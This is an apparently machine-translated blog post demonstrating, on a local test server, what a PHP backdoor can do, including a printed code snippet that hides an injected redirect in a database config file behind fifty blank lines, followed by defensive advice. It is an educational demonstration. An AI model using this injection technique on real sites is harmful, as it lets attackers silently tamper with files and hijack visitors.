Что может сделать бэкдор сайта, оставленный хакером?

PHP
Что может сделать бэкдор сайта, оставленный хакером?

Сегодня поговорим о безопасности сервера. В последние несколько дней я работал над проблемами атаки и защиты серверов, исправлял некоторые лазейки, и тем, кто пишет код, действительно следует обратить внимание на проблемы безопасности. Никогда не доверяйте пользовательскому вводу! Покажите опасность сегодня с помощью PHP-кода.

подготовка к тесту

Для имитации я настроил серверную среду локально, чтобы показать, как можно атаковать обычный веб-сайт.

Сначала измените локальный хост-файл компьютера. Его можно использовать после измененияtest.comИмя виртуального домена обращается к локальным файлам​. Каталог файлов находится в "C:\Windows\System32\drivers\etc"

Каталог веб-сайта очень прост:

В записи веб-сайта содержится ссылка на файл конфигурации базы данных, а затем выводится предложение, имитирующее домашнюю страницу веб-сайта.

В файле конфигурации базы данных я ссылаюсь на текущий популярный файл конфигурации базы данных ThinkPHP и возвращаю массив базовой информации о базе данных, включая порт и пароль базы данных.

Следующая наша изюминка — взлом бэкдор-файлов.

Вы можете подумать, это все? Что вы можете сделать с этими несколькими строками кода?

начать смоделированную атаку

Давайте посетим наш сайт

Доступ к веб-сайту возможен в обычном режиме без каких-либо проблем

Посетите хакерский файл, вроде проблем нет

1. Вывести информацию о версии php

Теперь хакер уже знает вашу фоновую версию php, установил эти плагины и какая база данных используется для базы данных.

2. Перенаправление веб-страницы

Вы можете перейти к Baidu, что означает, что хакер настроил среду для запуска кода. Теперь через свой веб-сайт вы можете написать любую строку кода и выполнить ее.

3. Прочтите информацию о конфигурации базы данных

У вас уже есть пароль и все такое, и вы можете изменять любые данные на своем сайте, не бойтесь. четное "删库跑路"!!

4. Удалить файлы

Смотреть:1.txtФайл был удален

Вы можете удалить файлы на своем сайте

5. Измените файл

?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("\r\n",50);
// 用空格代替<?php 
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...
​
// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);

Давайте посмотрим, как изменился ваш файл db.php.

Добавьте много новых строк в заголовок файла, вы думаете, что файл пуст, на самом деле он добавил в файл строку кода перехода, независимо от того, как другие посещают ваш сайт, он перейдет на сайт, который он написал.

Окончание атаки

Вы удивляетесь, когда видите это? Без паники: как нам подготовиться?

  • Не доверяйте вводу пользователя! Не доверяйте вводу пользователя! Не доверяйте вводу пользователя!
  • Фильтрация должна выполняться до получения пользовательского ввода;
  • На сервере задайте права доступа к файлам, не каждый файл может выполнить разрешение сценария;
  • Или добавьте функцию защиты от несанкционированного доступа;
  • Или измените группу безопасности вашего сервера, измените порты по умолчанию, такие как 22, 21 и т. д., не открывайте все порты;
  • Просканировать весь сайт на наличие троянов.

😜😜😜😜😜😜😜

Желаю вам счастливой жизни, усердно учитесь и сопротивляйтесь всем вредоносным атакам!

😜😜😜😜😜😜😜